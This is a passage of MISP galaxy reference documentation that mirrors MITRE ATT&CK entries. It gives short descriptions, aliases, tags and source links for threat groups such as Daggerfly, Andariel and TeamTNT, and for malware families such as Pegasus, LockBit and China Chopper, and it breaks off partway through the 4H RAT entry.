[Daggerfly](https://attack.mitre.org/groups/G1034) is a People's Republic of China-linked APT entity active since at least 2012. [Daggerfly](https://attack.mitre.org/groups/G1034) has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. [Daggerfly](https://attack.mitre.org/groups/G1034) is associated with exclusive use of [MgBot](https://attack.mitre.org/software/S1146) malware and is noted for several potential supply chain infection campaigns.(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)(Citation: ESET EvasivePanda 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Daggerfly - G1034"*

Daggerfly - G1034 is also known as:

- Daggerfly
- Evasive Panda
- BRONZE HIGHLAND

Table 10887. Table References

Links
https://attack.mitre.org/groups/G1034
https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot
https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset
https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/
https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/

TA577 - G1037

[TA577](https://attack.mitre.org/groups/G1037) is an initial access broker (IAB) that has distributed [QakBot](https://attack.mitre.org/software/S0650) and [Pikabot](https://attack.mitre.org/software/S1145), and was among the first observed groups distributing [Latrodectus](https://attack.mitre.org/software/S1160) in 2023.(Citation: Latrodectus APR 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="TA577 - G1037"*

TA577 - G1037 is also known as:

- TA577

Table 10888. Table References

Links
https://attack.mitre.org/groups/G1037
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

TA578 - G1038

[TA578](https://attack.mitre.org/groups/G1038) is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including [Latrodectus](https://attack.mitre.org/software/S1160), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="TA578 - G1038"*

TA578 - G1038 is also known as:

- TA578

Table 10889. Table References

Links
https://attack.mitre.org/groups/G1038
https://www.bitsight.com/blog/latrodectus-are-you-coming-back
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

BackdoorDiplomacy - G0135

[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="BackdoorDiplomacy - G0135"*

BackdoorDiplomacy - G0135 is also known as:

- BackdoorDiplomacy

Table 10890. Table References

Links
https://attack.mitre.org/groups/G0135
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

IndigoZebra - G0136

[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="IndigoZebra - G0136"*

IndigoZebra - G0136 is also known as:

- IndigoZebra

Table 10891. Table References

Links
https://attack.mitre.org/groups/G0136
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://securelist.com/apt-trends-report-q2-2017/79332/
https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html

Andariel - G0138

[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations—which have included destructive attacks—against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)

[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's

Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="Andariel - G0138"*

Andariel - G0138 is also known as:

- Andariel
- Silent Chollima
- PLUTONIUM
- Onyx Sleet

Table 10892. Table References

Links
http://www.issuemakerslab.com/research3/
https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/
https://attack.mitre.org/groups/G0138
https://fsiceat.tistory.com/2
https://home.treasury.gov/news/press-releases/sm774
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf
https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html

RedCurl - G1039

[RedCurl](https://attack.mitre.org/groups/G1039) is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks.(Citation: group-ib_redcurl1) [RedCurl](https://attack.mitre.org/groups/G1039) is allegedly a Russian-speaking threat actor.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) The group's operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers.

The tag is: *misp-galaxy:mitre-intrusion-set="RedCurl - G1039"*

RedCurl - G1039 is also known as:

- RedCurl

Table 10893. Table References

Links
https://attack.mitre.org/groups/G1039
https://www.group-ib.com/resources/research-hub/red-curl-2/
https://www.group-ib.com/resources/research-hub/red-curl/

TeamTNT - G0139

[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="TeamTNT - G0139"*

TeamTNT - G0139 is also known as:

- TeamTNT

Table 10894. Table References

Links
https://attack.mitre.org/groups/G0139
https://blog.aquasec.com/container-security-tnt-container-attack
https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf
https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/
https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf
https://www.lacework.com/blog/taking-teamtnt-docker-images-offline

AppleJeus - G1049

[AppleJeus](https://attack.mitre.org/groups/G1049) is a North Korean state-sponsored threat group

attributed to the Reconnaissance General Bureau. Associated with the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella of actors, [AppleJeus](https://attack.mitre.org/groups/G1049) has been active since at least 2018 and is closely aligned in resources with TEMP.hermit, another DPRK-affiliated group under the same umbrella.(Citation: dtex DPRK 2025 structure ITworkers) The group's primary mission is to generate and launder revenue to provide financial support to the government. [AppleJeus](https://attack.mitre.org/groups/G1049) primarily targets the cryptocurrency industry and is most notably responsible for the [3CX Supply Chain Attack](https://attack.mitre.org/campaigns/C0057).(Citation: Mandiant 3cx UNC4736 2023) The group traditionally deploys malicious cryptocurrency software in combination with [Phishing](https://attack.mitre.org/techniques/T1566). From these compromised environments, it selectively deploys additional backdoors to enable extended operations against high-value financial targets.(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="AppleJeus - G1049"*

AppleJeus - G1049 is also known as:

- AppleJeus
- Gleaming Pisces
- Citrine Sleet
- UNC1720
- UNC4736

Table 10895. Table References

Links
https://attack.mitre.org/groups/G1049
https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html
https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise/
https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023
https://reports.dtexsystems.com/DTEX-Exposing+DPRK+Cyber+Syndicate+and+Hidden+IT+Workforce.pdf
https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/

Malware

Name of ATT&CK software.

Malware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Hacking Team UEFI Rootkit - S0047

[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)

The tag is: *misp-galaxy:mitre-malware="Hacking Team UEFI Rootkit - S0047"*

Hacking Team UEFI Rootkit - S0047 is also known as:

- Hacking Team UEFI Rootkit

Table 10896. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/
https://attack.mitre.org/software/S0047

X-Agent for Android - S0314

[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).

The tag is: *misp-galaxy:mitre-malware="X-Agent for Android - S0314"*

View relationships graph

X-Agent for Android - S0314 has relationships with:

- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

Table 10897. Table References

Links
https://attack.mitre.org/software/S0314
https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf

Red Alert 2.0 - S0539

[Red Alert 2.0](https://attack.mitre.org/software/S0539) is a banking trojan that masquerades as a VPN client.(Citation: Sophos Red Alert 2.0)

The tag is: *misp-galaxy:mitre-malware="Red Alert 2.0 - S0539"*

Red Alert 2.0 - S0539 is also known as:

- Red Alert 2.0

Table 10898. Table References

Links
https://attack.mitre.org/software/S0539
https://news.sophos.com/en-us/2018/07/23/red-alert-2-0-android-trojan-targets-security-seekers/

BlackByte 2.0 Ransomware - S1181

[BlackByte 2.0 Ransomware](https://attack.mitre.org/software/S1181) is a replacement for [BlackByte Ransomware](https://attack.mitre.org/software/S1180). Unlike [BlackByte Ransomware](https://attack.mitre.org/software/S1180), [BlackByte 2.0 Ransomware](https://attack.mitre.org/software/S1181) does not have a common key for victim decryption. [BlackByte 2.0 Ransomware](https://attack.mitre.org/software/S1181) remains uniquely associated with [BlackByte](https://attack.mitre.org/groups/G1043) operations.(Citation: Microsoft BlackByte 2023)

The tag is: *misp-galaxy:mitre-malware="BlackByte 2.0 Ransomware - S1181"*

BlackByte 2.0 Ransomware - S1181 is also known as:

- BlackByte 2.0 Ransomware

Table 10899. Table References

Links
https://attack.mitre.org/software/S1181
https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/

Exaramel for Linux - S0401

[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Exaramel for Linux - S0401"*

Exaramel for Linux - S0401 is also known as:

- Exaramel for Linux

Table 10900. Table References

Links
https://attack.mitre.org/software/S0401
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

Winnti for Linux - S0430

[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)

The tag is: *misp-galaxy:mitre-malware="Winnti for Linux - S0430"*

Winnti for Linux - S0430 is also known as:

- Winnti for Linux

Table 10901. Table References

Links
https://attack.mitre.org/software/S0430
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a

XLoader for iOS - S0490

[XLoader for iOS](https://attack.mitre.org/software/S0490) is a malicious iOS application that is capable of gathering system information.(Citation: TrendMicro-XLoader-FakeSpy) It is tracked separately from the [XLoader for Android](https://attack.mitre.org/software/S0318).

The tag is: *misp-galaxy:mitre-malware="XLoader for iOS - S0490"*

XLoader for iOS - S0490 is also known as:

- XLoader for iOS

Table 10902. Table References

Links
https://attack.mitre.org/software/S0490
https://blog.trendmicro.com/trendlabs-security-intelligence/new-version-of-xloader-that-disguises-as-android-apps-and-an-ios-profile-holds-new-links-to-fakespy/

Winnti for Windows - S0141

[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)

The tag is: *misp-galaxy:mitre-malware="Winnti for Windows - S0141"*

Winnti for Windows - S0141 is also known as:

- Winnti for Windows

View relationships graph

Winnti for Windows - S0141 has relationships with:

- similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"

Table 10903. Table References

Links
https://401trg.github.io/pages/burning-umbrella.html
https://attack.mitre.org/software/S0141
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a
https://securelist.com/winnti-more-than-just-a-game/37029/
https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf

Pegasus for Android - S0316

[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).

The tag is: *misp-galaxy:mitre-malware="Pegasus for Android - S0316"*

Pegasus for Android - S0316 is also known as:

- Pegasus for Android
- Chrysaor

View relationships graph

Pegasus for Android - S0316 has relationships with:

- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"

Table 10904. Table References

Links
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://attack.mitre.org/software/S0316
https://blog.lookout.com/blog/2017/04/03/pegasus-android/

XLoader for Android - S0318

[XLoader for Android](https://attack.mitre.org/software/S0318) is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.(Citation: TrendMicro-XLoader-FakeSpy)(Citation: TrendMicro-XLoader) It is tracked separately from the [XLoader for iOS](https://attack.mitre.org/software/S0490).

The tag is: *misp-galaxy:mitre-malware="XLoader for Android - S0318"*

XLoader for Android - S0318 is also known as:

- XLoader for Android

Table 10905. Table References

Links
https://attack.mitre.org/software/S0318
https://blog.trendmicro.com/trendlabs-security-intelligence/new-version-of-xloader-that-disguises-as-android-apps-and-an-ios-profile-holds-new-links-to-fakespy/
https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/

Pegasus for iOS - S0289

[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims.(Citation: Lookout-Pegasus)(Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).

The tag is: *misp-galaxy:mitre-malware="Pegasus for iOS - S0289"*

Pegasus for iOS - S0289 is also known as:

- Pegasus for iOS

View relationships graph

Pegasus for iOS - S0289 has relationships with:

- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"

Table 10906. Table References

Links
https://attack.mitre.org/software/S0289
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf

Exaramel for Windows - S0343

[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Exaramel for Windows - S0343"*

Exaramel for Windows - S0343 is also known as:

- Exaramel for Windows

Table 10907. Table References

Links
https://attack.mitre.org/software/S0343
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

P.A.S. Webshell - S0598

[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)

The tag is: *misp-galaxy:mitre-malware="P.A.S. Webshell - S0598"*

P.A.S. Webshell - S0598 is also known as:

- P.A.S. Webshell
- Fobushell

Table 10908. Table References

Links
https://attack.mitre.org/software/S0598
https://us-cert.cisa.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

LockBit 3.0 - S1202

[LockBit 3.0](https://attack.mitre.org/software/S1202) is an evolution of the LockBit Ransomware-as-a-Service (RaaS) offering with similarities to BlackMatter and [BlackCat](https://attack.mitre.org/software/S1068) ransomware. [LockBit 3.0](https://attack.mitre.org/software/S1202) has been in use since at least June 2022 and features enhanced defense evasion and exfiltration tactics, robust encryption methods for Windows and VMware ESXi systems, and a more refined RaaS structure over its predecessors such as [LockBit 2.0](https://attack.mitre.org/software/S1199).(Citation: Sentinel Labs LockBit 3.0 JUL 2022)(Citation: Joint Cybersecurity Advisory LockBit JUN 2023)(Citation: Joint Cybersecurity Advisory LockBit 3.0 MAR 2023)(Citation: INCIBE-CERT LockBit MAR 2024)

The tag is: *misp-galaxy:mitre-malware="LockBit 3.0 - S1202"*

LockBit 3.0 - S1202 is also known as:

- LockBit 3.0
- LockBit Black

Table 10909. Table References

Links
https://attack.mitre.org/software/S1202
https://www.cisa.gov/sites/default/files/2023-03/aa23-075a-stop-ransomware-lockbit.pdf
https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf
https://www.incibe.es/en/incibe-cert/blog/lockbit-response-and-recovery-actions
https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques

LockBit 2.0 - S1199

[LockBit 2.0](https://attack.mitre.org/software/S1199) is an affiliate-based Ransomware-as-a-Service (RaaS) that has been in use since at least June 2021 as the successor to LockBit Ransomware. [LockBit 2.0](https://attack.mitre.org/software/S1199) has versions capable of infecting Windows

and VMware ESXi virtual machines, and has been observed targeting multiple industry verticals globally.(Citation: FBI Lockbit 2.0 FEB 2022)(Citation: Palo Alto Lockbit 2.0 JUN 2022)

The tag is: *misp-galaxy:mitre-malware="LockBit 2.0 - S1199"*

LockBit 2.0 - S1199 is also known as:

- LockBit 2.0

Table 10910. Table References

Links
https://attack.mitre.org/software/S1199
https://unit42.paloaltonetworks.com/lockbit-2-ransomware/
https://www.ic3.gov/CSA/2022/220204.pdf

gh0st RAT - S0032

[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)

The tag is: *misp-galaxy:mitre-malware="gh0st RAT - S0032"*

gh0st RAT - S0032 is also known as:

- gh0st RAT
- Mydoor
- Moudoor

View relationships graph

gh0st RAT - S0032 has relationships with:

- similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"

Table 10911. Table References

Links
https://attack.mitre.org/software/S0032
https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html

China Chopper - S0020

[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server.(Citation: Lee 2013) It has been used by several threat groups.(Citation: Dell TG-3390)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Rapid7 HAFNIUM Mar 2021)

The tag is: *misp-galaxy:mitre-malware="China Chopper - S0020"*

China Chopper - S0020 is also known as:

- China Chopper

Table 10912. Table References

Links
https://attack.mitre.org/software/S0020
https://us-cert.cisa.gov/ncas/alerts/aa21-200a
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

Skeleton Key - S0007

[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).

The tag is: *misp-galaxy:mitre-malware="Skeleton Key - S0007"*

Skeleton Key - S0007 is also known as:

- Skeleton Key

Table 10913. Table References

Links
https://attack.mitre.org/software/S0007
https://www.secureworks.com/research/skeleton-key-malware-analysis

P2P ZeuS - S0016

[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)

The tag is: *misp-galaxy:mitre-malware="P2P ZeuS - S0016"*

P2P ZeuS - S0016 is also known as:

- P2P ZeuS
- Peer-to-Peer ZeuS
- Gameover ZeuS

Table 10914. Table References

Links
https://attack.mitre.org/software/S0016
https://www.secureworks.com/research/The-Lifecycle-of-Peer-to-Peer-Gameover-ZeuS

Unknown Logger - S0130

[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)

The tag is: *misp-galaxy:mitre-malware="Unknown Logger - S0130"*

Unknown Logger - S0130 is also known as:

- Unknown Logger

Table 10915. Table References

Links
https://attack.mitre.org/software/S0130
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Black Basta - S1070

[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black

Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Cyble Black Basta May 2022)

The tag is: *misp-galaxy:mitre-malware="Black Basta - S1070"*

Black Basta - S1070 is also known as:

- Black Basta

Table 10916. Table References

Links
https://attack.mitre.org/software/S1070
https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware
https://web.archive.org/web/20220506143054/https://blog.cyble.com/2022/05/06/black-basta-ransomware/
https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware
https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence

Cherry Picker - S0107

[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)

The tag is: *misp-galaxy:mitre-malware="Cherry Picker - S0107"*

Cherry Picker - S0107 is also known as:

- Cherry Picker

Table 10917. Table References

Links
https://attack.mitre.org/software/S0107
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

Zeus Panda - S0330

[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)'s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)

The tag is: *misp-galaxy:mitre-malware="Zeus Panda - S0330"*

Zeus Panda - S0330 is also known as:

- Zeus Panda

Table 10918. Table References

Links
https://attack.mitre.org/software/S0330
https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf

SpyNote RAT - S0305

[SpyNote RAT](https://attack.mitre.org/software/S0305) (Remote Access Trojan) is a family of malicious Android apps. The [SpyNote RAT](https://attack.mitre.org/software/S0305) builder tool can be used to develop malicious apps with the malware's functionality. (Citation: Zscaler-SpyNote)

The tag is: *misp-galaxy:mitre-malware="SpyNote RAT - S0305"*

SpyNote RAT - S0305 is also known as:

- SpyNote RAT

Table 10919. Table References

Links
https://attack.mitre.org/software/S0305
https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app

3PARA RAT - S0066

[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="3PARA RAT - S0066"*

3PARA RAT - S0066 is also known as:

- 3PARA RAT

View relationships graph

3PARA RAT - S0066 has relationships with:

- similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"

Table 10920. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0066

Agent Smith - S0440

[Agent Smith](https://attack.mitre.org/software/S0440) is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 [Agent Smith](https://attack.mitre.org/software/S0440) had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.(Citation: CheckPoint Agent Smith)

The tag is: *misp-galaxy:mitre-malware="Agent Smith - S0440"*

Agent Smith - S0440 is also known as:

- Agent Smith

Table 10921. Table References

Links
https://attack.mitre.org/software/S0440
https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/

4H RAT - S0065

[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="4H RAT - S0065"*

4H RAT - S0065 is also known as:

- 4H RAT

View relationships graph

4H RAT - S0065 has relationships with:

